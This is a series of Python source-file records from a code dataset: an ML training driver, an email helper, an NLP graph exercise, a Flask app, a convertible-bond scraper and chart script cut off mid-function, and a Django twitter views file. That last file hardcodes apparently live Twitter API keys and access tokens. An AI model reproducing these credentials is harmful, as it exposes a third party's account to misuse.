"surfaces_tools/widgets/cdxml.py", "file_name": "cdxml.py", "file_ext": "py", "file_size_in_byte": 6012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "ipywidgets.VBox", "line_number": 12, "usage_type": "attribute"}, {"api_name": "traitlets.Instance", "line_number": 15, "usage_type": "call"}, {"api_name": "ase.Atoms", "line_number": 15, "usage_type": "attribute"}, {"api_name": "ipywidgets.HTML", "line_number": 24, "usage_type": "call"}, {"api_name": "ipywidgets.FileUpload", "line_number": 35, "usage_type": "call"}, {"api_name": "ipywidgets.HTML", "line_number": 38, "usage_type": "call"}, {"api_name": "ipywidgets.Dropdown", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.ptp", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.amin", "line_number": 71, "usage_type": "call"}, {"api_name": "scipy.stats.mode", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.ptp", "line_number": 85, "usage_type": "call"}, {"api_name": "ase.data", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition.PCA", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition", "line_number": 94, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition", "line_number": 94, "usage_type": "name"}, {"api_name": "ase.Atoms", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.ptp", "line_number": 97, "usage_type": "call"}, {"api_name": "ase.neighborlist.NeighborList", "line_number": 109, "usage_type": "call"}, {"api_name": "ase.neighborlist", "line_number": 109, "usage_type": "name"}, {"api_name": "ase.data", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 131, "usage_type": "attribute"}, {"api_name": "ase.Atom", "line_number": 132, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 149, "usage_type": "call"}, {"api_name": "re.DOTALL", "line_number": 150, "usage_type": "attribute"}, {"api_name": "openbabel.pybel.readstring", "line_number": 153, "usage_type": "call"}, {"api_name": "openbabel.pybel", "line_number": 153, "usage_type": "name"}]} +{"seq_id": "631234175", "text": "#! /usr/bin/env python3\nfrom amc_cnn_oshea import AMC_CNN_OShea\nfrom oshea_ds import OShea_DS\nfrom steves_utils.cida_train_eval_test_jig import CIDA_Train_Eval_Test_Jig\nimport torch\nimport numpy as np\nimport os\nimport sys\nimport json\nimport time\nfrom math import floor\n\n# Parameters relevant to results\nRESULTS_DIR = \"./results\"\nBEST_MODEL_PATH = os.path.join(RESULTS_DIR, \"best_model.pth\")\nLOSS_CURVE_PATH = os.path.join(RESULTS_DIR, \"loss.png\")\nEXPERIMENT_JSON_PATH = os.path.join(RESULTS_DIR, \"experiment.json\")\n\n# Parameters relevant to experiment\nNUM_CLASSES = 11\nNUM_LOGS_PER_EPOCH = 5\n\n\n###################################\n# Parse Args, Set paramaters\n###################################\nif len(sys.argv) > 1 and sys.argv[1] == \"-\":\n parameters = json.loads(sys.stdin.read())\nelif len(sys.argv) == 1:\n fake_args = {}\n fake_args[\"experiment_name\"] = \"Manual Experiment\"\n fake_args[\"lr\"] = 0.001\n fake_args[\"n_epoch\"] = 100\n fake_args[\"batch_size\"] = 1024\n fake_args[\"patience\"] = 10\n fake_args[\"seed\"] = 1337\n fake_args[\"device\"] = \"cuda\"\n parameters = fake_args\n\n\nexperiment_name = parameters[\"experiment_name\"]\nlr = parameters[\"lr\"]\nn_epoch = parameters[\"n_epoch\"]\nbatch_size = parameters[\"batch_size\"]\npatience = parameters[\"patience\"]\nseed = parameters[\"seed\"]\ndevice = parameters[\"device\"]\n\nstart_time_secs = time.time()\n\n\n###################################\n# Build the dataset\n###################################\nsource_ds = OShea_DS(snrs_to_get=[-8, -6])\ntarget_ds = OShea_DS(snrs_to_get=[16,18])\n\ndef wrap_in_dataloader(ds):\n return torch.utils.data.DataLoader(\n ds,\n batch_size=batch_size,\n shuffle=True,\n num_workers=1,\n persistent_workers=True,\n prefetch_factor=50,\n pin_memory=True\n)\n\n\nsource_train_len = floor(len(source_ds)*0.7)\nsource_val_len = floor(len(source_ds)*0.15)\nsource_test_len = len(source_ds) - source_train_len - source_val_len\nsource_train, source_val, source_test = torch.utils.data.random_split(source_ds, [source_train_len, source_val_len, source_test_len], generator=torch.Generator().manual_seed(seed))\nsource_train, source_val, source_test = (\n wrap_in_dataloader(source_train), wrap_in_dataloader(source_val), wrap_in_dataloader(source_test)\n)\n\ntarget_train_len = floor(len(target_ds)*0.7)\ntarget_val_len = floor(len(target_ds)*0.15)\ntarget_test_len = len(target_ds) - target_train_len - target_val_len\ntarget_train, target_val, target_test = torch.utils.data.random_split(target_ds, [target_train_len, target_val_len, target_test_len], generator=torch.Generator().manual_seed(seed))\ntarget_train, target_val, target_test = (\n wrap_in_dataloader(target_train), wrap_in_dataloader(target_val), wrap_in_dataloader(target_test)\n)\n\ndef sigmoid(epoch, total_epochs):\n # This is the same as DANN except we ignore batch\n x = epoch/total_epochs\n gamma = 10\n alpha = 2. / (1. + np.exp(-gamma * x)) - 1\n\n return alpha\n\n\nalpha_func = sigmoid\n\n# TODO: DEBUG\n# alpha_func = lambda e,n: 0 # No alpha\n\n###################################\n# Build the model\n###################################\nmodel = AMC_CNN_OShea(\n NUM_CLASSES,\n label_loss_object=torch.nn.NLLLoss(),\n domain_loss_object=torch.nn.L1Loss(),\n learning_rate=lr\n)\n\n\n###################################\n# Build the tet jig, train\n###################################\ncida_tet_jig = CIDA_Train_Eval_Test_Jig(\n model=model,\n path_to_best_model=BEST_MODEL_PATH,\n device=torch.device(device),\n label_loss_object=torch.nn.NLLLoss(),\n domain_loss_object=torch.nn.L1Loss(),\n)\n\ncida_tet_jig.train(\n source_train_iterable=source_train,\n source_val_iterable=source_val,\n target_train_iterable=target_train,\n target_val_iterable=target_val,\n patience=patience,\n learning_rate=lr,\n num_epochs=n_epoch,\n num_logs_per_epoch=NUM_LOGS_PER_EPOCH,\n alpha_func=alpha_func\n)\n\n\n###################################\n# Colate experiment results\n###################################\nsource_test_label_accuracy, source_test_label_loss, source_test_domain_loss = cida_tet_jig.test(source_test)\ntarget_test_label_accuracy, target_test_label_loss, target_test_domain_loss = cida_tet_jig.test(target_test)\n\nhistory = cida_tet_jig.get_history()\n\ntotal_epochs_trained = len(history[\"epoch_indices\"])\ntotal_experiment_time_secs = time.time() - start_time_secs\n\nexperiment = {\n \"experiment_name\": experiment_name,\n \"parameters\": parameters,\n \"results\": {\n \"source_test_label_accuracy\": source_test_label_accuracy,\n \"source_test_label_loss\": source_test_label_loss,\n \"target_test_label_accuracy\": target_test_label_accuracy,\n \"target_test_label_loss\": target_test_label_loss,\n \"source_test_domain_loss\": source_test_domain_loss,\n \"target_test_domain_loss\": target_test_domain_loss,\n \"total_epochs_trained\": total_epochs_trained,\n \"total_experiment_time_secs\": total_experiment_time_secs,\n },\n \"history\": history,\n}\n\nwith open(EXPERIMENT_JSON_PATH, \"w\") as f:\n json.dump(experiment, f, indent=2)\n\nprint(\"Source Test Label Accuracy:\", source_test_label_accuracy, \"Target Test Label Accuracy:\", target_test_label_accuracy)\ncida_tet_jig.show_diagram()\ncida_tet_jig.save_loss_diagram(LOSS_CURVE_PATH)", "sub_path": "driver.py", "file_name": "driver.py", "file_ext": "py", "file_size_in_byte": 5311, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stdin.read", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "oshea_ds.OShea_DS", "line_number": 55, "usage_type": "call"}, {"api_name": "oshea_ds.OShea_DS", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 59, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 70, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.utils.data.random_split", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 73, "usage_type": "attribute"}, {"api_name": "torch.Generator", "line_number": 73, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 78, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.utils.data.random_split", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.Generator", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 90, "usage_type": "call"}, {"api_name": "amc_cnn_oshea.AMC_CNN_OShea", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.nn.L1Loss", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "attribute"}, {"api_name": "steves_utils.cida_train_eval_test_jig.CIDA_Train_Eval_Test_Jig", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "attribute"}, {"api_name": "torch.nn.L1Loss", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 163, "usage_type": "call"}]} +{"seq_id": "450228938", "text": "import smtplib\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfrom jinja2 import Environment, PackageLoader, select_autoescape\n\nfrom .local_config import SMTP\n\nenv = Environment(\n loader=PackageLoader('firepoint', 'templates'),\n autoescape=select_autoescape(['html'])\n)\n\n\ndef send_template_email(subject, recipients, template_name, **context):\n template = env.get_template(template_name)\n html = MIMEText(template.render(**context), 'html')\n\n msg = MIMEMultipart()\n msg['From'] = SMTP['USERNAME']\n msg['Subject'] = subject\n msg.attach(html)\n\n s = smtplib.SMTP_SSL(SMTP['SERVER'], SMTP['PORT'])\n s.login(SMTP['USERNAME'], SMTP['PASSWORD'])\n for r in recipients:\n msg['To'] = r\n s.send_message(msg)\n print('Sent to:', r)\n\n\ndef send_error_email(spider, subject, recipients, **context):\n _subject = f'[ERROR][{spider.name}] - {subject}'\n send_template_email(_subject, recipients, 'error.html', **context)\n", "sub_path": "firepoint/firepoint/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 1000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "jinja2.Environment", "line_number": 10, "usage_type": "call"}, {"api_name": "jinja2.PackageLoader", "line_number": 11, "usage_type": "call"}, {"api_name": "jinja2.select_autoescape", "line_number": 12, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 18, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 20, "usage_type": "call"}, {"api_name": "local_config.SMTP", "line_number": 21, "usage_type": "name"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 25, "usage_type": "call"}, {"api_name": "local_config.SMTP", "line_number": 25, "usage_type": "name"}, {"api_name": "local_config.SMTP", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "414001308", "text": "# 57. 係り受け解析\n# Stanford Core NLPの係り受け解析の結果（collapsed-dependencies）を有向グラフとして可視化せよ．\n# 可視化には，係り受け木をDOT言語に変換し，Graphvizを用いるとよい．\n# また，Pythonから有向グラフを直接的に可視化するには，pydotを使うとよい．\n\nfrom lxml import etree\nfrom graphviz import Digraph\n\n\"\"\"\n仕様\n参考：http://nlp.stanford.edu/software/stanford-dependencies.shtml\n要するに，エッジに共参照関係を示す内容を書いて，\n単語をノードにした有向グラフを作ればいい．\n前に使ったライブラリ(knock_44参照)で作ってMac側で出力する．\n\"\"\"\n\n\ndef create_graph(dependency_tree):\n graph = Digraph(\"collapsed-dependencies\")\n graph.body.extend(['layout=\"dot\"', 'size=\"15.5\"'])\n graph.attr(\"node\", shape=\"circle\")\n\n for dep in dependency_tree.iter(\"dep\"):\n dep_type = dep.attrib.get(\"type\")\n governor_text = dep.find(\"governor\").text\n dependent_text = dep.find(\"dependent\").text\n\n # rootだった時はノードの登録のみなので分岐させる\n if dep_type == \"root\":\n graph.node(dependent_text)\n\n else:\n graph.node(governor_text)\n graph.node(dependent_text)\n\n graph.edge(tail_name=governor_text,\n head_name=dependent_text,\n label=dep_type)\n\n graph.format = \"png\"\n graph.render(view=True)\n\n\nif __name__ == '__main__':\n with open(\"resources/nlp.txt.xml\", encoding=\"utf-8\", mode=\"r\") as xml_file:\n tree = etree.parse(xml_file)\n root = tree.getroot()\n\n # 1つだけ出したいので\n # 出力結果：https://1drv.ms/f/s!Ahm-y5n34SrvgYBjqvZ5OkNBtXAELw\n for i, dependencies in enumerate(root.iter(\"dependencies\")):\n if dependencies.attrib.get(\"type\") == \"collapsed-dependencies\" \\\n and i <= 12:\n create_graph(dependencies)\n break\n", "sub_path": "50-59/knock_57.py", "file_name": "knock_57.py", "file_ext": "py", "file_size_in_byte": 2040, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "graphviz.Digraph", "line_number": 19, "usage_type": "call"}, {"api_name": "lxml.etree.parse", "line_number": 46, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 46, "usage_type": "name"}]} +{"seq_id": "622541834", "text": "from django.shortcuts import render\nimport twitter\n\n\n\nconsumer_key='hJvKiCJ2Px9anaSmzrWhk1hX4'\nconsumer_secret='0p1QGnahBjFNSt7oXRI9YprDJKWvxQ5DcOqvR4aQVVd5ceCCOg'\naccess_token_key='245798015-I6IinZBVwCluYEwc3zWCLpJ23FIl1C8DiB4h07Xu'\naccess_token_secret='66i5QMTU9wyNlc29xVOULYe4qpUb8MXZhJx85ZEAyYkae'\n\n\ndef get_tweets(screen_name=\"sondha_prodip\",count=1):\n\n twitter_api=twitter.Api(consumer_key, consumer_secret, access_token_key,access_token_secret)\n #import pdb;pdb.set_trace()\n tweets = twitter_api.GetUserTimeline(screen_name, count)\n return tweets\n\n\ndef post_tweet(screen_name=\"sondha_prodip\",update_text=\"here is the test\"):\n twitter_api=twitter.Api(consumer_key, consumer_secret, access_token_key,access_token_secret)\n twitter_api.PostUpdate(update_text)\n\n\n# Create your views here.\n", "sub_path": "Projects/Django/news/tweets/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 809, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "twitter.Api", "line_number": 14, "usage_type": "call"}, {"api_name": "twitter.Api", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "74079368", "text": "#!/usr/bin/python3\nfrom flask import Flask\nfrom flask import request\nfrom flask import render_template\nfrom models import storage\n\napp = Flask(__name__)\napp.url_map.strict_slashes = False\n\n\n@app.route('/states_list')\ndef state_():\n \"\"\"Function for Flask Web Application\"\"\"\n states = {}\n s_states = {}\n alls = storage.all('State')\n # print(alls)\n for k, v in alls.items():\n name_of, id = k.split(\".\")[0], k.split(\".\")[1]\n name = v.to_dict()['name']\n states[id] = name\n\n for key, value in sorted(states.items(), key=lambda item: item[1]):\n s_states[key] = value\n # print(\"states ->>>>>\", states)\n return render_template('7-states_list.html', nom=\"States\", states=s_states)\n\n\n@app.teardown_appcontext\ndef teardown(self):\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=\"5000\")\n", "sub_path": "web_flask/7-states_list.py", "file_name": "7-states_list.py", "file_ext": "py", "file_size_in_byte": 863, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "models.storage.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "models.storage.close", "line_number": 31, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 31, "usage_type": "name"}]} +{"seq_id": "214073308", "text": "#一些公共方法\nimport os\nimport re\nimport sqlite3\n\nfrom jinja2 import Environment, FileSystemLoader\nfrom prettytable import PrettyTable\nfrom pyecharts import options as opts\nfrom pyecharts.charts import Pie\nfrom pyecharts.charts import Scatter, Line\nfrom pyecharts.commons.utils import JsCode\nfrom pyecharts.globals import ThemeType\nfrom selenium import webdriver\n\nenv = Environment(\n keep_trailing_newline=True,\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(\n (\n os.path.join(os.path.dirname(__file__), \"templates\")\n )\n )\n )\n#https://www.jisilu.cn/data/cbnew/cb_index/\n#转股价格中位数\nMID_X = 124.08\n#转股溢价率中位数\nMID_Y = 33.4\n#到期收益率中位数\nMID_YIELD = -3.92\n\n# MID_Y, MID_X, MID_YIELD = get_cb_sum_data()\n\n\ndef calc_yield():\n # 打开文件数据库\n con_file = sqlite3.connect('db/cb.db3')\n cur = con_file.cursor()\n cur.execute(\"\"\"\nSELECT \n\tround(sum(round((c.cb_price2_id/(1+c.cb_mov2_id) * c.cb_mov2_id)*h.hold_amount, 2)) / sum(h.sum_buy-h.sum_sell)*100,2) as '日收益率',\n\tround(sum(round(c.cb_price2_id*h.hold_amount+h.sum_sell -h.sum_buy, 3)) /sum(h.sum_buy - h.sum_sell) * 100, 2) as 累积收益率\nfrom hold_bond h , changed_bond c \nwhere h.bond_code = c.bond_code and hold_owner='me'\n \"\"\")\n\n row = cur.fetchone()\n day_yield = row[0]\n all_yield = row[1]\n return day_yield, all_yield\n\n\n# 计算可转债中位数\ndef calc_middle_info():\n\n # 打开文件数据库\n con_file = sqlite3.connect('db/cb.db3')\n cur = con_file.cursor()\n cur.execute(\"\"\"\nSELECT mid_price, mid_premium from (\n SELECT AVG(cb_price2_id) as mid_price, row_number() OVER () as rn\n FROM (SELECT cb_price2_id\n FROM changed_bond\n ORDER BY cb_price2_id\n LIMIT 2 - (SELECT COUNT(*) FROM changed_bond) % 2 -- odd 1, even 2\n OFFSET (SELECT (COUNT(*) - 1) / 2\n FROM changed_bond))) a\nleft join(\n SELECT AVG(cb_premium_id) as mid_premium, row_number() OVER () as rn\n FROM (SELECT cb_premium_id\n FROM changed_bond\n ORDER BY cb_premium_id\n LIMIT 2 - (SELECT COUNT(*) FROM changed_bond) % 2 -- odd 1, even 2\n OFFSET (SELECT (COUNT(*) - 1) / 2\n FROM changed_bond)) ) b\t\t\t \non a.rn = b.rn\n \n \"\"\")\n\n row = cur.fetchone()\n MID_X = row[0]\n MID_Y = row[1]\n print('init mid data is successful.MID_X:' + str(MID_X) + ', MID_Y:' + str(MID_Y))\n\n # for row in rows:\n\n # if key == 'mid_premium':\n # MID_Y = value\n # elif key == 'mid_price':\n # MID_X = value\n # elif key == 'mid_yield':\n # mid_yield = value\n # else:\n # raise Exception('unknow key:' + key)\n\n # return mid_y, mid_x #, mid_yield\n\n\ndef update_cb_sum_data():\n\n # 打开文件数据库\n con_file = sqlite3.connect('db/cb.db3')\n\n driver = webdriver.Chrome()\n\n driver.implicitly_wait(10)\n\n url = \"https://www.jisilu.cn/data/cbnew/cb_index/\"\n\n # fixme 需要把chromedriver放到/usr/local/bin目录下\n driver.get(url)\n\n div = driver.find_element_by_id(\"cb_index\")\n\n s = div.text\n ss = re.findall(r\"转股溢价率 (\\d+\\.?\\d*)%\", s)\n if len(ss) != 1:\n raise Exception(\"没有找到转股溢价率中位数:\" + s)\n # MID_Y = ss[0]\n result = con_file.execute(\"\"\"insert into config(key,value,field_name)values\n ('mid_premium_rate', ?, 'cb_sum_data')\"\"\",\n (ss[0])\n )\n if result.rowcount == 0:\n print(\"not insert mid_premium_rate config:\" + ss[0])\n else:\n print(\"insert mid_premium_rate is successful. count:\" + str(result.rowcount))\n\n ss = re.findall(r\"中位数价格 (\\d+\\.?\\d*)\", s)\n if len(ss) != 1:\n raise Exception(\"没有找到转股价格中位数:\" + s)\n # MID_X = ss[0]\n result = con_file.execute(\"\"\"insert into config(key,value,field_name)values\n ('mid_price', ?, 'cb_sum_data')\"\"\",\n (ss[0])\n )\n if result.rowcount == 0:\n print(\"not insert mid_price config:\" + ss[0])\n else:\n print(\"insert mid_price is successful. count:\" + str(result.rowcount))\n\n ss = re.findall(r\"到期收益率 (-?\\d+\\.?\\d*)%\", s)\n if len(ss) != 1:\n raise Exception(\"没有找到到期收益率中位数:\" + s)\n # MID_YIELD = ss[0]\n result = con_file.execute(\"\"\"insert into config(key,value,field_name)values\n ('mid_yield_rate', ?, 'cb_sum_data')\"\"\",\n (ss[0])\n )\n if result.rowcount == 0:\n print(\"not insert mid_yield_rate config:\" + ss[0])\n else:\n print(\"insert mid_yield_rate is successful. count:\" + str(result.rowcount))\n\n # print(\"MID_Y = \" + MID_Y + ' \\nMID_X = ' + MID_X + '\\nMID_YIELD = ' + MID_YIELD)\n\n driver.close()\n\ndef get_up_down_data():\n\n driver = webdriver.Chrome()\n\n driver.implicitly_wait(10)\n\n url = \"https://www.ninwin.cn/index.php?m=cb&c=idx\"\n\n # fixme 需要把chromedriver放到/usr/local/bin目录下\n driver.get(url)\n\n div = driver.find_elements_by_xpath(\"//div[contains(@style,'font-size: 12px;color: gray;margin: 10px 20px;clear: both')]\")[0]\n\n # 最新涨跌：可转债等权：1.57%，上证转债：0.87%，正股等权：2.22%，沪深300：0.67%，中证500：1.33%说明快照'\n s = div.text\n cb_value = re.findall(r\"可转债等权：(-?\\d+\\.?\\d*)%\", s)\n if len(cb_value) != 1:\n raise Exception(\"没有找到可转债等权:\" + s)\n\n hs_value = re.findall(r\"沪深300：(-?\\d+\\.?\\d*)%\", s)\n if len(hs_value) != 1:\n raise Exception(\"没有找到沪深300:\" + s)\n\n driver.close()\n return float(cb_value[0]), float(hs_value[0])\n\n\ndef generate_pie_html(dict_rows, key, value):\n data = []\n for row in dict_rows:\n data.append([row[key], round(row[value], 2)])\n\n pie = Pie(init_opts=opts.InitOpts(theme=ThemeType.SHINE))\n pie.add(\"\", data)\n # pie.set_global_opts(title_opts=opts.TitleOpts(title=\"我的摊大饼策略分布\"))\n pie.set_global_opts(legend_opts=opts.LegendOpts(is_show=False))\n pie.set_series_opts(label_opts=opts.LabelOpts(formatter=\"{b}: {d}%\"))\n pie_html = pie.render_embed('template.html', env)\n return pie_html\n\n\ndef generate_line_html(rows, select=None):\n # 用散点图展示\n line = Line(opts.InitOpts(height='700px', width='1524px', theme=ThemeType.LIGHT))\n\n x = []\n y1 = []\n y2 = []\n y3 = []\n\n for row in rows:\n x.append(row['时间'])\n # y.append([row['累积收益率'], row['日收益率']])\n y1.append(row['我的净值'])\n y2.append(row['等权指数净值'])\n y3.append(row['沪深300净值'])\n\n line.add_xaxis(x)\n\n line.add_yaxis(\"我的净值\", y1)\n line.add_yaxis(\"等权指数净值\", y2)\n line.add_yaxis(\"沪深300净值\", y3)\n\n line.set_global_opts(\n title_opts=opts.TitleOpts(title=\"收益率曲线\", pos_left='center', pos_top=-5),\n tooltip_opts=opts.TooltipOpts(\n formatter=JsCode(\n \"function (params) {return '累积收益率
' + params.value[1] + '%';}\"\n # \"function (params) {return '累积收益率:' + params.value[1] + '%' + '
日收益率:' + params.value[2] + '%';}\"\n )\n ),\n legend_opts=opts.LegendOpts(\n pos_top=20,\n # selected_mode='single'\n ),\n datazoom_opts={'start': 0, 'end': 100},\n toolbox_opts=opts.ToolboxOpts(feature={\n 'dataZoom': {},\n }\n ),\n # visualmap_opts=opts.VisualMapOpts(\n # type_=\"color\", max_=150, min_=20, dimension=1\n # ),\n xaxis_opts=opts.AxisOpts(\n # data=None,\n type_='time',\n name='时间',\n name_gap=30,\n is_scale=True,\n name_location='middle',\n splitline_opts=opts.SplitLineOpts(is_show=False),\n # axislabel_opts=opts.LabelOpts(formatter=\"{value}\"), #echarts.format.formatTime('yy-MM-dd', value*1000)\n axisline_opts=opts.AxisLineOpts(\n is_on_zero=False,\n symbol=['none', 'arrow']\n )\n ),\n yaxis_opts=opts.AxisOpts(\n type_='value',\n name='收益率(%)',\n name_rotate=90,\n name_gap=55,\n name_location='middle',\n is_scale=True,\n axislabel_opts=opts.LabelOpts(formatter='{value}%'),\n splitline_opts=opts.SplitLineOpts(is_show=False),\n axisline_opts=opts.AxisLineOpts(\n is_on_zero=False,\n symbol=['none', 'arrow']\n )\n )\n )\n line.set_series_opts(\n # symbol='none',\n smooth=True,\n label_opts=opts.LabelOpts(is_show=False)\n )\n line_html = line.render_embed('template.html', env)\n return line_html\n\n\ndef generate_scatter_html(tables, select=None):\n # 用散点图展示\n scatter = Scatter(opts.InitOpts(height='700px', width='1624px', theme=ThemeType.LIGHT))\n\n # x = []\n # y = []\n\n for label, table in tables.items():\n if select is not None and label not in select:\n continue\n\n x = []\n y = []\n\n rows = table._rows\n for row in rows:\n record = get_record(table, row)\n x.append(record['转债价格'])\n y.append([record['溢价率'].replace('%', '')*1, record['名称'].replace('转债', '')])\n\n scatter.add_xaxis(x)\n\n scatter.add_yaxis(\n label,\n y,\n label_opts=opts.LabelOpts(\n position='bottom',\n formatter=JsCode( # 调用js代码设置方法提取参数第2个值和参数第3个值\n \"function(params){return params.value[2];}\"\n )\n ),\n # markarea_opts=opts.MarkAreaOpts(\n # is_silent=True,\n # itemstyle_opts=opts.ItemStyleOpts(\n # color='transparent',\n # border_type='dashed',\n # border_width=1,\n # ),\n # data=[\n # [\n # {\n # 'name': label,\n # 'xAxis': 'min',\n # 'yAxis': 'min',\n # },\n # {\n # 'xAxis': 'max',\n # 'yAxis': 'max'\n # }\n # ]\n #\n # ]\n # ),\n # markpoint_opts=opts.MarkPointOpts(\n # data=[\n # {'type': 'max', 'name': 'Max'},\n # {'type': 'min', 'name': 'Min'}\n # ]\n # ),\n markline_opts=opts.MarkLineOpts(\n linestyle_opts=opts.LineStyleOpts(type_='dashed'),\n is_silent=True,\n data=[\n opts.MarkLineItem(x=MID_X, name='转债价格中位数'),\n opts.MarkLineItem(y=MID_Y, name='转债溢价率中位数'),\n ]\n )\n )\n\n # scatter.add_xaxis(x)\n\n scatter.set_global_opts(\n title_opts=opts.TitleOpts(title=\"可转债分布情况\", pos_left='center'),\n tooltip_opts=opts.TooltipOpts(\n formatter=JsCode(\n \"function (params) {return '价格:' + params.value[0] + '元
溢价率:' + params.value[1] + '%';}\"\n )\n ),\n legend_opts=opts.LegendOpts(\n pos_bottom=-8,\n # selected_mode='single'\n ),\n toolbox_opts=opts.ToolboxOpts(feature={\n 'dataZoom': {},\n }\n ),\n # visualmap_opts=opts.VisualMapOpts(\n # type_=\"color\", max_=150, min_=20, dimension=1\n # ),\n xaxis_opts=opts.AxisOpts(\n # data=None,\n type_='value',\n name='转债价格(元)',\n name_gap=30,\n is_scale=True,\n name_location='middle',\n splitline_opts=opts.SplitLineOpts(is_show=False),\n axislabel_opts=opts.LabelOpts(formatter='{value}元'),\n axisline_opts=opts.AxisLineOpts(\n is_on_zero=False,\n symbol=['none', 'arrow']\n )\n ),\n yaxis_opts=opts.AxisOpts(\n type_='value',\n name='转股溢价率(%)',\n name_rotate=90,\n name_gap=35,\n name_location='middle',\n is_scale=True,\n axislabel_opts=opts.LabelOpts(formatter='{value}%'),\n splitline_opts=opts.SplitLineOpts(is_show=False),\n axisline_opts=opts.AxisLineOpts(\n is_on_zero=False,\n symbol=['none', 'arrow']\n )\n )\n )\n # scatter.set_series_opts(emphasis={\n # 'focus': 'series'\n # })\n scatter_html = scatter.render_embed('template.html', env)\n return scatter_html\n\n\ndef generate_table(type, cur, html, need_title=True, field_names=None, rows=None,\n remark_fields_color=[],\n htmls={},\n tables=None,\n subtitle='',\n ignore_fields=[],\n field_links={},\n is_login_user=False,\n table_width=None\n ):\n\n table = from_db(cur, field_names, rows)\n\n if len(table._rows) == 0:\n return table, html\n\n if tables is not None:\n tables[type] = table\n\n add_nav_html(htmls, type)\n\n title = ''\n title_suffix = ''\n if need_title:\n # 首行加两个换行, 避免被但导航栏遮挡\n title = \"\"\"\n
\"\"\" + ('' if len(html) > 0 else '

') + \"\"\"\n

=========我的\"\"\" + type + \"\"\"账户=========
